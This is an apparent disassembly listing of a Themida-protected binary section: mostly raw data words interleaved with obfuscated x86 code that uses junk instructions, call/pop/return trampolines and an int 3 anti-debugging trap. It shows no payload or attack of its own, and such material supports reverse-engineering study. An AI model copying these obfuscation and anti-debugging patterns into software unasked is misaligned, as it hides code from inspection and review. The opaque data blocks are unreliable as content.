		dd 0DE7A99EBh, 1990381Dh, 0D67157Dh, 0AB0AE52Dh, 0FF0A941h
		dd 66552DE6h, 0F21E70CDh, 0E5BEAC63h, 63811AE7h, 0BF8450F7h
		dd 0C9199040h, 0A86CD86h, 19904041h, 0E0A9359Fh, 3E199040h
		dd 3C2AC38Eh, 0D49138B0h, 31AFF4EBh, 19904068h,	4771EC6h
		dd 34DDC14h, 9A5B651Eh,	0F819903Ch, 0C8E67F48h,	0D03DD45Ch
		dd 195h, 4FF0DDCFh, 0AD64CC65h,	0BF7F5EFh, 6F08F272h, 8262E971h
		dd 0FF441DB6h, 8A94B881h, 3EAE1621h, 4F1FB64Fh,	932C1A92h
		dd 331DECFCh, 8A94ECADh, 2A24A21h, 268E9C35h, 400CA08Eh
		dd 94915A56h, 85EF218Ah, 0C9B834EDh, 10C99930h,	1614AD9Ch
		dd 19E5078Eh, 0B0F3B8Bh, 13FC4737h, 0A17AF27Ah,	0D9C7602Bh
		dd 601BBA51h, 0E8069F6Ch, 7807D57Ch, 782189DEh,	84A23B04h
		dd 0DE00C9C7h, 0F65E2189h, 2915D77Eh, 48CC790h,	2189DE43h
		dd 419037A1h, 0E5CFCD86h, 4AD65E4Ch, 2189DE81h,	0DB9C24DFh
		dd 392189DEh, 0B887178Fh, 0E40681Fh, 0DE8E5759h, 84EC2189h
		dd 0CBB933ECh, 43009B32h, 0C5E37C49h, 222AB65Dh, 222676F3h
		dd 0D848E1AAh, 0CC5856EFh, 3A04B445h, 135009A1h, 8CA1CC8Dh
		dd 0BC22A19h, 0EED9D390h, 5F2EBE55h, 2B39D2BEh,	0EFA827BFh
		dd 6B7912FDh, 0F7905FFFh, 13A19050h, 0A7511185h, 0CD9018C6h
		dd 14D1AB22h, 7D876B03h, 0EF000008h, 7DEF6E07h,	0E95BFA93h
		dd 61D3821Bh, 0EC5CFB94h, 44D5841Dh, 8A19032h, 952E1789h
		dd 12AB9606h, 8C251183h, 0EFF1B20Dh, 1987E126h,	0F5D5BB84h
		dd 0BA533EAEh, 0D39440ACh, 33218A94h, 0D961BC35h, 4DF7864Ah
		dd 0C95726C6h, 15EF87CBh, 57066EEDh, 0BD56209Ch, 5C8C43AFh
		dd 410A8670h, 45218A1Ah, 8A1A7A3Bh, 170D821h, 1AC18A06h
		dd 0B51F218Ah, 6D26B53Dh, 0E119C926h, 0DE3201A1h, 8A707942h
		dd 0E66DD721h, 0DF0AF5BAh, 440369C8h, 3703E56Ch, 1210A996h
		dd 4704228Ah, 21345B68h, 0EF997DEh, 9656FD75h, 0F7C0C0AAh
		dd 552189C8h, 0F48D7BEBh, 57066EF6h, 0BA53209Ch, 0C916DFE1h
		dd 0CC742189h, 34E96B45h, 89C9EBACh, 79F4921h, 0DB745E4Eh
		dd 0C7286B34h, 2DB66908h, 0F3E16827h, 267018E1h, 0C36EC01Fh
		dd 2CEA283Eh, 8FD9E3A4h, 0F974119h, 1C0AA38Fh, 510A1890h
		dd 0D9CD8E12h, 2D1A198Fh, 0AF0E9694h, 87528E45h, 0D8198FD9h
		dd 0C65654EDh, 0D9415FF8h, 0C8E67F49h, 0D9C4850Bh, 0BA22198Fh
		dd 0F43C65E4h, 0BF8A021Dh, 0C5026F26h, 6C74292Bh
		dd 198FD9ABh, 17009F8h,	9606CF57h, 8D1513ACh, 0D6483630h
		dd 0A96027F5h, 96D8F2EEh, 0C0BC1E75h, 0E04C5AF3h, 2A18C829h
		dd 8D25BE89h, 71403C25h, 0E7A031D8h, 29791308h,	0E1688D87h
		dd 0AF7F5B3h, 6E07F171h, 4F3905E7h, 8A948851h, 0F67EE621h
		dd 0E623C22Dh, 57857095h, 0EB727DDAh, 0BC533228h, 740AF5AEh
		dd 0B95BD4C3h, 0B98567EEh, 0EB08D1CFh, 0FE662189h, 0EAE6AD76h
		dd 2189EB21h, 6B04CD7Fh, 0D28D4C03h, 0EB460F91h, 3CA42189h
		dd 4B5263BFh, 0F2996822h, 673098BAh, 67AAD588h,	0B9A242D1h
		dd 89C6EEB7h, 0EDA44C21h, 12FBF1B2h, 9006D279h,	0D6266FB3h
		dd 61019A66h, 84F0FE97h, 0CCB933ECh, 26AD3533h,	4D248B48h
		dd 7B69A7C4h, 10D5038Ah, 65198FB3h, 6FE3019Ah, 5FFED86h
		dd 8853DDCAh, 4EE7D5C7h, 303DD460h, 85746877h, 0DF76FEECh
		dd 4D6DEC9Ch, 8E3403h, 745B0000h, 2BC8774Ch, 1CE6863Ah
		dd 56FD6583h, 0EC54064Ah, 33CCB933h, 340039Ch, 8A94BC7Dh
		dd 1BB21A21h, 70A0EBBDh, 0F0DDCF26h, 0A241B057h, 0D79BBE5Dh
		dd 0B36C0421h, 65C15F4Ch, 0DF8751EBh, 26025F3Ch, 2442C961h
		dd 9054DFA4h, 0B14A3419h, 0B8511FB3h, 27A0D1AAh, 97154E09h
		dd 871311AAh, 0A33C6500h, 0AC15A29h, 4DC8B969h,	0B8B87B03h
		dd 199047EFh, 0FABAD44Fh, 50DF353Eh, 0F08978E8h, 1E9AC59h
		dd 0CF30000h, 5D6464E0h, 17850C5Eh, 6932AEF5h, 0C7218A94h
		dd 8A76761Dh, 68861FE9h, 0E3225B07h, 61C913A2h,	0D9AF10C9h
		dd 41E63503h, 9F7CEAA1h, 0FDD05E2Dh, 9863CFE2h,	52DAC860h
		dd 705A29BBh, 69F58E7Ch, 218A52A0h, 5DE56FEh, 0DF9E099Ah
		dd 0DF764DEDh, 0A12F1B8Fh, 37B1A039h, 4260C894h, 1ED42689h
		dd 99260F2Ch, 89C54E17h, 0AC44AC21h, 0B7B54E3Ch, 7844A42Bh
		dd 0B986F6DFh, 95932C18h, 1B87A50Dh, 58E76574h,	0A12189C0h
		dd 0FE7747D5h, 0CDB3E647h, 0B9B77C65h, 218A46F0h, 462BECF4h
		dd 0DF89218Ah, 8C78E850h, 0E66DF5F3h, 85F73CF7h, 0B8811DB6h
		dd 16218A46h, 0B8513EAEh, 4AE3CF11h, 0D1D92E91h, 85400E37h
		dd 884994F8h, 21A85E89h, 0C5CB8841h, 2189BB04h,	5953FA62h
		dd 16864FB7h, 0A929029h, 185B1883h, 89BBCF98h, 0CC32D21h
		dd 6FABDED0h, 1CEAE226h, 56FD6583h, 461448A7h, 0EFC402A8h
		dd 0F6419E77h, 0E6A4B43Dh, 0F4AF2EE5h, 7C98CA0Bh, 68571FBAh
		dd 0F8B057CFh, 0C6FFD56h, 0C03DD6A0h, 0F8701031h, 49E2AD1Fh
		dd 229AD9C2h, 622EBE57h, 909642C9h, 0F61E7DA0h,	0D0DE7746h
		dd 9913CC64h, 277017B0h, 5C25C6B5h, 7A722BC3h, 8051F891h
		dd 6CA4E8C7h, 0E16C70D8h, 0E1CBBA2Ah, 933216DFh, 64CC7411h
		dd 0CC0B0081h, 0B5B5A91Ch, 45Ch, 0EE6D06CEh, 5CFB947Eh
		dd 0D6851EECh, 51009966h, 0D87710DFh, 0AC9B2F49h, 2B148413h
		dd 0A6910392h, 321E8E0Dh, 0E2A1FA99h, 87DD1DDEh, 0F0B07B19h
		dd 0E2AE4F3Eh, 57CF5B49h, 2867217Eh, 0FCEA8370h, 65B0370h
		dd 0DF9839D0h, 0D0DE5C00h, 0CA934F39h, 0BD90CCAh, 9F41C860h
		dd 4A8845D3h, 0AE3A5A2Ah, 1F9C0B69h, 1E964F4Dh,	0FBC8C47Fh
		dd 2EF77962h, 8C218A0Ah, 0F56F2DE4h, 9BFFAD0Ah,	1A0EAED8h
		dd 0BECE2B33h, 2880075Dh, 1882CD26h, 97D00240h,	8B1715AEh
		dd 0DAD28B23h, 0E2BD54EDh, 54553EA1h, 0C2E07948h, 1772DD5Ah
		dd 0D35BF4DDh, 1DC5860Ah, 0B923218Ah, 29F4C612h, 0E4D82670h
		dd 36F7D16h, 4F3BAD4Ch,	49F661C1h, 9A12729Dh, 67534912h
		dd 8415D6D9h, 0D55DECCCh, 0B576FAD7h, 13198FB9h, 0D5A141A9h
		dd 0FC62E3Ch, 0BFC1825Fh, 198FB8F6h, 7765EC54h,	198FB9AAh
		dd 38017BB4h, 7219819Fh, 9715CAF7h, 8D1513ACh, 53857506h
		dd 0F4AF034Dh, 8FBD2BECh, 28DF8919h, 1A9DDh, 1CAC200h
		dd 0F5B3E168h, 381A100Ah, 0F9903701h, 0AA8D1BE7h, 0D9829807h
		dd 9A3FCE5Ah, 4DE5CEF8h, 490AC7E5h, 89B97E47h, 0A26CDC21h
		dd 178F1B09h, 0E0817070h, 0EF887213h, 69016977h, 0B44D3CB0h
		dd 42D14D1Dh, 422189B4h, 2E32345Dh, 711886EDh, 31EA836Fh
		dd 4F44D2BBh, 0D4C66595h, 8F1B09A1h, 87200Fh, 0DBA616D1h
		dd 6D598B42h, 4765FECCh, 128A53DBh, 69F99029h, 2CEDF3B0h
		dd 8A218A73h, 0CF812BE2h, 0F7F5AE67h, 29A77009h, 218A7360h
		dd 617F16BEh, 2670646Fh, 6D733073h, 199062ACh, 0F5B6620Ah
		dd 53199061h, 219362E9h, 6D36BE57h, 0FCEA836Fh,	3FF8D970h
		dd 0EC7E8060h, 44B130C8h, 2686CA2Eh, 30780F03h,	0A737C51Eh
		dd 765AA57Bh, 6E5E25FEh, 2BE8069Fh, 901BE4A5h, 129A4219h
		dd 2EBA5D7Bh, 0CAC21E7Dh, 4EAF66FFh, 35D2BDA6h,	70CE23BDh
		dd 662D761Dh, 0EE8776h,	7CBD0774h, 0BD116281h, 46E7D616h
		dd 58C4E27Bh, 0A89507D0h, 3838110Fh, 1192FE6Fh,	48B23CDh
		dd 57591AD5h, 1192FE8Eh, 0ECAD33ECh, 4A1192FEh,	61830AA2h
		dd 6F08F192h, 9E81E971h, 1CCC3EE3h, 0FDAE8EA0h,	6F000001h
		dd 0FD6FEE87h, 69DB7A13h, 0E153029Bh, 6CDC7B14h, 0C455049Dh
		dd 882110B2h, 15AE9709h, 922B1686h, 0CA59103h, 6F71328Dh
		dd 1987DBA6h, 0F5553B04h, 946932AEh, 1DC7218Ah,	0E6877676h
		dd 0FC707E17h, 0EC78760Fh, 7033EC84h, 8A94A770h, 0B45B0521h
		dd 84726A25h, 0B88464EBh, 11912A17h, 3D268E27h,	31D8713Fh
		dd 0AEF5E4A0h, 8A946932h, 56FDC921h, 97D400BDh,	0C719B018h
		dd 0E1EE6DFBh, 8E5C194h, 0F7C5B7A0h, 0DAB7B75Eh, 0D67D16E2h
		dd 4C402A16h, 7039E57Eh, 0CE218A7Ah, 8ED58E26h,	8A7A4912h
		dd 963DA721h, 36238C47h, 2FCCC037h, 0E4763ED5h,	1CE98A74h
		dd 75FDEB83h, 0FB730CF5h, 7D63BD22h, 2925723Fh,	3CA8C65Fh
		dd 0C1821DB4h, 0E93DFE82h, 0E09B2189h, 89E917E0h, 63CB7521h
		dd 856230ACh, 7E6E2987h, 612AA690h, 0BF198745h,	238F9D15h
		dd 0EAEE8D6Ch, 0B3A5A6E5h, 8FB881FFh, 0AE161987h, 0F7F5AE46h
		dd 0EE76740Dh, 0A7930767h, 8EF2B3BDh, 0E8501987h, 5A259780h
		dd 0EAE6A3C1h, 19878F21h, 0B65DD57Fh, 85706C27h, 0DF76FEECh
		dd 0EFA8410Dh, 6D7B14FDh, 43204E05h, 2BE27B49h,	6B3E67ADh
		dd 36CFBC6Ch, 3ED7A438h, 0CEFB7630h, 0CDBF7C62h, 0FD966304h
		dd 64EB7775h, 603FA009h, 0BFC454A8h, 8163EA5Eh,	49431CB5h
		dd 5BC7E57Eh, 0C7B325B4h, 0DFAC402Eh, 3EB64F3Eh, 34CDBC30h
		dd 3ED7A636h, 9283CF30h, 0DA28E14Bh, 68C801F0h,	25138992h
		dd 3F68058Ch, 937C1DE9h, 33A972FAh, 0B726AD46h,	1DB680FCh
		dd 8D4E520Fh, 0EBC3A2F8h, 8262E981h, 3C4CCB6h, 61C3A2F8h
		dd 36A66FF7h, 4C1AB14Ah, 9B341D8Fh, 0F7FDBEC2h,	0F15BC3A2h
		dd 2A1A5Ah, 6B610000h, 8F1B09A2h, 7C7F122h, 0F49B2398h
		dd 32AEF5A8h, 218A9469h, 3D761DC7h, 39C6656h, 1CA47DE5h
		dd 218A945Bh, 1C780FB9h, 0AFBD563Eh, 0B8B64F3Bh, 0A2C05924h
		dd 0B2B04932h, 0ACBA5322h, 0B2B04938h, 0AEBC5522h, 0A9B7503Eh
		dd 0B8B64F39h, 4EC81F7h, 89000000h, 9868243Ch, 8900006Eh
; ---------------------------------------------------------------------------
		sub	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	802A47Fh
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		pop	dword ptr [edi+8]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5BF7F5
; ---------------------------------------------------------------------------
		lodsb


loc_62D762:				; CODE XREF: Themida_:0062BF38j
		mov	eax, 802BBF1h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 58h
		dd 0E78412Fh, 0A553B24Fh, 64DF06h, 717EE408h, 4D3C9F48h
		dd 73211A1h, 0E80A8507h, 14h, 0D447A5DFh, 0C747DE7Dh, 0F4541A94h
		dd 0C4CFE29Ch, 0DB40177Fh, 8111B45Fh, 6CDFC7h, 81665100h
		dd 5E62C4C6h, 0B960D22Bh, 5D8AC15Eh, 3E98166h, 0C8B6126h
		dd 32EE8117h, 817AB785h, 40A399E9h, 76C1816Bh, 600D2E12h
		dd 5CABEEB9h, 61C88B4Dh, 479CF181h, 0E0815FB5h,	0B9701D6h
		dd 5976BE51h, 48F3F4Fh,	6E817h,	1C990000h, 3E359826h, 9EA5BE66h
		dd 0F7EA8158h, 8B7C9426h, 0F3C281F1h, 8B7C9426h, 0E4FA81DFh
		dd 0FFFFF93h, 1285h, 31E900h, 0B8A00000h, 8C62F0ABh, 31505EBAh
		dd 0E9AB1A55h, 0Dh, 2849F27Ch, 0AB2ED5B2h, 0C1EE25DEh
		dd 0FF78E952h, 7C9FFFFh, 0A2B5A2A3h, 0B269E087h, 0E8180F2Ch
		dd 0Dh,	98A9FF9Fh, 623A265Eh, 5F17B47Eh, 59D38B9Fh, 1B96FEBAh
		dd 8DC18136h, 80000060h, 0F62B00F2h, 5E9h, 4F468800h, 3C8B272Ah
		dd 81B9B431h, 0DE5681F7h, 0C781F876h, 5F1CF2EEh, 10E8h
		dd 0E272B400h, 94B09ED5h, 0C0A2848Dh, 4C03138Eh, 6850FA2h
		dd 81000000h, 649741E3h, 0C7815B35h, 6C4AA6E5h,	10E8h
		dd 18B1EA00h, 28F113A4h, 3040860Ah, 82FE2A54h, 2870F4Eh
		dd 8B000000h, 0E8575AD3h, 13h, 0E82EC002h, 76329EBh, 0C63C02Dh
		dd 0D691AC1Bh, 60BBEEBFh, 5A61DC8Ah, 6631048Fh,	8C0FD38Bh
		dd 2, 0EE83B8B4h, 0DBB70F04h, 0A068FE81h, 850FFFFFh, 24h
		dd 13E9h, 0A427B900h, 59FAE40h,	9C36F1D9h, 21FFE7A4h, 2E0C2833h
		dd 1CE9h, 0F6F4A600h, 30D0CE97h, 83E04CBAh, 0FF3CE913h
		dd 0DC88FFFFh, 2771FAD9h, 329C64ECh, 8E8D3h, 0C2D20000h
		dd 2DEF8D41h, 40BF3018h, 5B2BF096h, 0B886F6BFh,	5C3810Fh
		dd 0B5000059h, 16EFBEB0h, 0C68172A2h, 8D5DFF22h, 86F4BA66h
		dd 0CA8B33FFh, 0EE958h,	25860000h, 0E7F331C6h, 0A665D7C4h
		dd 0B981CF65h, 0A398E881h, 5E93045h, 0
; ---------------------------------------------------------------------------
		xchg	eax, edx
		stosb
		fld	tbyte ptr [eax-3B3A0F7Fh]
		push	esi
		add	cl, [edi]
		mov	cl, ds:0E8000000h
		add	eax, 11000000h
		mov	al, ds:53B1A1EBh
		pop	ecx
		pop	ecx
		add	eax, 0CE04E26h
		sbb	ch, 0D2h
		mov	[ebx], eax
		jmp	loc_62D9DE
; ---------------------------------------------------------------------------
		db 0Dh,	5Fh, 0B5h
		dd 79032EBDh, 0F03970AAh
; ---------------------------------------------------------------------------
		inc	eax
		cli


loc_62D9DE:				; CODE XREF: Themida_:0062D9CCj
		sub	ebx, 4
		pusha
		ja	loc_62D9EA
		mov	esi, edi


loc_62D9EA:				; CODE XREF: Themida_:0062D9E2j
		mov	di, 6400h
		popa
		sub	esi, 1
		jnz	loc_62DA0D
		and	dl, 0ACh
		jmp	loc_62DA1B
; ---------------------------------------------------------------------------
		db 0CDh
		dd 80B6BCB4h, 0DEA8B36Bh
		db 84h
; ---------------------------------------------------------------------------


loc_62DA0D:				; CODE XREF: Themida_:0062D9F5j
		stc
		jmp	near ptr dword_62D76C+214h
; ---------------------------------------------------------------------------
		db 20h
		dd 0E88CB8ABh
		db 0C9h, 97h, 2Bh
; ---------------------------------------------------------------------------


loc_62DA1B:				; CODE XREF: Themida_:0062D9FEj
		lea	ecx, [ebp+802C006h]
		push	0
		push	ebx
		call	sub_62DA2C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_62DA2C	proc near		; CODE XREF: Themida_:0062DA24p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_62DA2C	endp

; ---------------------------------------------------------------------------
		mov	byte ptr [edi+6Ah], 16h
		adc	al, 9
		sbb	di, 0ACE5h
		mov	[ebp+7FA27C1h],	ecx
		push	0
		push	edx
		call	sub_62DA58
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_62DA58	proc near		; CODE XREF: Themida_:0062DA50p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_62DA58	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebx
		clc
		mov	edi, 6ABEDBD0h
		cmpsd
		int	3		; Trap to Debugger
		jo	short loc_62DAA4
		test	[ebp+18h], ebp
		cli
		pop	es
		sub	[ebp+7FA1981h],	edx
		mov	dword ptr [ebp+7FA1C01h], 5874h
		push	0
		push	eax
		call	sub_62DA93
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_62DA93	proc near		; CODE XREF: Themida_:0062DA8Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_62DA93	endp

; ---------------------------------------------------------------------------
		db 0C0h
; ---------------------------------------------------------------------------


loc_62DAA4:				; CODE XREF: Themida_:0062DA71j
		jns	short near ptr loc_62DADD+2
		jg	short loc_62DAD1
		lea	ecx, [ecx]
		or	bh, dl
		pop	es
		mov	dword ptr [ebp+7FA1AEDh], 0
		jnp	$+6
		jmp	loc_62DACB
; ---------------------------------------------------------------------------
		dw 2185h
		dd 532D40B9h
; ---------------------------------------------------------------------------
		sar	ebp, 7Bh


loc_62DACB:				; CODE XREF: Themida_:0062DABDj
		push	dword ptr [ebp+7FA2441h]


loc_62DAD1:				; CODE XREF: Themida_:0062DAA6j
		push	0
		push	eax
		call	sub_62DADC
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_62DADC	proc near		; CODE XREF: Themida_:0062DAD4p

arg_4		= dword	ptr  8

		pop	eax


loc_62DADD:				; CODE XREF: Themida_:loc_62DAA4j
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_62DADC	endp

; ---------------------------------------------------------------------------
		mov	edx, 9BB1FFF7h
		sal	ebp, 0F7h
		movsx	eax, si
		call	dword ptr [ebp+7FA177Dh]
		add	edi, 67D46ACAh
		push	0
		call	dword ptr [ebp+7FA012Dh]
		mov	eax, eax
		jmp	short loc_62DB7B
; ---------------------------------------------------------------------------
		db 5
		dd 2B7CDFA0h, 0AB7B0E76h, 4D421C55h, 336F8A5Ah,	770D701Eh
		dd 0E12627DBh, 36CDCFh,	6AA8FF98h, 6450EBE1h, 0EF539370h
		dd 0A9F0D8D3h, 1200705Bh, 4C089F7Bh, 0A46C9931h, 460AE877h
		dd 0D5C0AFB9h, 0FDC3EC74h, 76AC6A75h, 905A9309h, 75E63C45h
		dd 0E51BF325h, 674B2013h, 0CE5A09BFh, 0D3483B1Dh, 70458C03h
		dd 0CAC5A4CAh
		db 0E7h, 75h, 6Ch
; ---------------------------------------------------------------------------


loc_62DB7B:				; CODE XREF: Themida_:0062DB0Dj
		lea	ecx, [ebp+802C0D7h]
		mov	[ebp+7FA1C55h],	eax
		mov	eax, ebx
		mov	[ebp+7FA27C1h],	ecx
		movzx	eax, si
		mov	dword ptr [ebp+7FA1C01h], 5A64h
		xor	di, 6833h
		mov	dword ptr [ebp+7FA1AEDh], 0
		sub	edi, 2575D756h
		push	dword ptr [ebp+7FA24A1h]
		mov	[ebp+7FA25CDh],	ecx
		call	dword ptr [ebp+7FA177Dh]
		jmp	loc_62DBD4
; ---------------------------------------------------------------------------
		dd 0F7D77642h, 270B4792h, 0C7AAB656h
; ---------------------------------------------------------------------------


loc_62DBD4:				; CODE XREF: Themida_:0062DBC3j
		push	0
		call	dword ptr [ebp+7FA012Dh]
		mov	eax, eax
		jmp	short loc_62DC1D
; ---------------------------------------------------------------------------
		dd 0C287A43Ch, 31EC8224h, 61B9B0B9h, 0E67DEC0Eh, 22505914h
		dd 7F929F85h, 1F8289D5h, 0FD59EBF8h, 0C731603h,	0E524FB8Bh
		dd 0BFADC246h, 9C66C33Fh, 0B6A48DB4h, 0A6CCFDD8h, 9C77383Eh
; ---------------------------------------------------------------------------
		pop	ss


loc_62DC1D:				; CODE XREF: Themida_:0062DBDEj
		lea	ecx, [ebp+802C22Dh]
		push	0
		push	ebp
		call	sub_62DC2E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_62DC2E	proc near		; CODE XREF: Themida_:0062DC26p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_62DC2E	endp

; ---------------------------------------------------------------------------
		or	esp, edi
		pushf
		push	0FFFFFFCDh
		and	esi, [edx]
		ror	byte ptr [ebx-3E72762Ah], 27h
		cli
		pop	es
		push	0
		push	ebp
		call	sub_62DC59
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_62DC59	proc near		; CODE XREF: Themida_:0062DC51p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_62DC59	endp

; ---------------------------------------------------------------------------
		dec	ebp
		push	edx
		mov	si, cx
		pop	edi
		mov	dword ptr [ebp+7FA1C01h], 7148h
		push	0
		push	eax
		call	sub_62DC84
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_62DC84	proc near		; CODE XREF: Themida_:0062DC7Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_62DC84	endp

; ---------------------------------------------------------------------------
		dd 0C8C87195h, 0DACA6649h, 0CE8B60F0h, 0AAC2BF61h, 85C73B28h
		dd 7FA1AEDh, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_62DCBB
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_62DCBB	proc near		; CODE XREF: Themida_:0062DCB3p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_62DCBB	endp

; ---------------------------------------------------------------------------
		db 8
; ---------------------------------------------------------------------------
		jmp	loc_62DCE0
; ---------------------------------------------------------------------------
		db 0DAh, 0E0h, 42h
		dd 0ABFC9EE9h, 0DE83084h, 9DE983DFh
; ---------------------------------------------------------------------------


loc_62DCE0:				; CODE XREF: Themida_:0062DCCCj
		push	dword ptr [ebp+7FA24A1h]
		movzx	edx, cx
		call	dword ptr [ebp+7FA177Dh]
		push	0
		push	ebx
		call	sub_62DCFA
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_62DCFA	proc near		; CODE XREF: Themida_:0062DCF2p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_62DCFA	endp

; ---------------------------------------------------------------------------
		dw 69E9h
		dd 0BCF0F39h, 0C17DBB50h, 0E95E76EDh, 0Eh, 3058EC7Bh, 0EDCB375Ch
		dd 4646A186h, 6A13EDh, 12D95FFh, 0C08B07FAh, 0F1683DEBh
		dd 5F0ED217h, 4F4CFE4Ch, 382F9850h, 5127DC4Eh, 47F62476h
		dd 0ABA8F66Fh, 0ED302F40h, 6F7AB4Dh, 0CD8588A5h, 0D6586284h
		dd 7016EEE0h, 25CB0F75h, 0EA8CB289h, 0E52EA72Ch, 0E8644588h
		dd 6, 936DF13Eh, 9D89033Eh, 7FA16E5h, 51958B5Bh, 8107FA31h
		dd 6759C3h, 6800h, 81660000h, 5E7F39E2h, 250D8D33h, 34FF07FAh
		dd 3EF6801Eh, 398D8B58h, 8107FA16h, 77A3A2F0h, 0DE929h
		dd 7AE0000h, 2F4BE88Eh,	2CA339D5h, 81A0910Eh, 6BD30CC0h
		dd 0B529512Eh, 7FA0AEDh, 0A8F0815Fh, 0E8154875h, 0Fh, 4A90990Dh
		dd 2EC8A736h, 463F1C20h, 66324A44h, 8959D18Bh, 0BD033304h
		dd 7FA3531h, 83F9BF0Fh,	4EF802EEh, 0DA81664Eh, 0FE817CCEh
		dd 0FFFF997Ch, 17850Fh,	0E9F90000h, 35h, 0ABECBCEAh, 0C3848C14h
		dd 6803B15h, 6D18A068h,	68F0FB4h, 8B000000h, 0FA17D98Dh
		dd 0FF64E907h, 813CFFFFh, 2A8864E8h, 3023EB6Ah,	0CB2266B1h
		dd 4FEA812Eh, 0FE88Eh, 0FE770000h, 86C1DA45h, 79E43D0Dh
		dd 8D9D6915h, 14E873h, 0B2ED0000h, 0BBECAC68h, 0A361148Eh
		dd 0EB00DF54h, 0FDD21441h, 7E9B00Eh, 4D000000h,	0E29A8DFAh
		dd 5B596D2Dh, 12A98D29h, 0C38107FAh, 65D1h, 4C68CB8Ah
		dd 0F000019h, 680h, 11858900h, 5807FA2Bh, 0BD8B138Bh, 7FA1E71h
		dd 0F7B0C281h, 9589307Ch, 7FA2501h, 99D0EA81h, 0BD8915EBh
		dd 7FA092Dh, 0BA2F281h,	0CF8B09DAh, 64C98052h, 0B533038Fh
		dd 7FA14E1h, 8904EB83h,	0FA26F985h, 1E88107h, 0F000000h
		dd 0FFFFB785h, 85BD8BFFh, 8D07FA0Ah, 2C4A78Dh, 52006A08h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0FEBF0F4Fh, 27C18D89h, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0A193DEC3h, 0C7634EC9h
		dd 0FA1C0185h, 5F2C07h,	0FDEF8000h, 1AED85C7h, 7FAh, 958B0000h
		dd 7FA12B5h, 0CFDB5FFh,	8B6607FAh, 7D95FFD7h, 6A07FA17h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 32ABC351h, 0E953FB38h, 0Ch, 6BBAE3F8h, 6F31ACDh
		dd 0AD381A9h, 95FF006Ah, 7FA012Dh, 69EBC08Bh, 9968E5CEh
		dd 5DE451A5h, 7C37F762h, 8314DC3h, 493664DEh, 2038934h
		dd 0C5EAD713h, 7A4A7CF0h, 0AA72EC15h, 1A852F3Bh, 1FCE6CBBh
		dd 53198014h, 268A80Dh,	44EAF4BAh, 64DA267Eh, 96593272h
		dd 1517FA4Fh, 28B2AD87h, 1E06CE35h, 15C5912Dh, 49B4C8ADh
		dd 7672E0AAh, 0E4D67487h, 47BB9398h, 113B49Ah, 466A47CBh
		dd 0CC8D8D19h, 6A0802C5h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 2C3DC357h, 3C01AA20h
		dd 9D614602h, 27C18D89h, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 81668BC3h, 0C715F4DAh
		dd 0FA1C0185h, 621007h,	0A18D0100h, 0C707FA12h,	0FA1AED85h
		dd 7, 0AE900h, 38A30000h, 8CE0C462h, 0DD55F2B0h, 68DB5FFh
		dd 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 580E55C3h, 0CD379E72h, 0F78B66AEh, 177D95FFh
		dd 8B6607FAh, 0FF006ADFh, 0FA012D95h, 0EBC08B07h, 0B6272B2Dh
		dd 0E858B449h, 4A031165h, 29AA1887h, 767B8B8Ch,	97FC0ADEh
		dd 7BC0D544h, 40CBAC55h, 91721D8Fh, 23E1B23Ch, 50801526h
		dd 8D8DD2E3h, 802C6B7h,	27C18D89h, 0BF0F07FAh, 185C7D0h
		dd 1407FA1Ch, 6A000074h, 3E85000h, 20000000h, 8958C358h
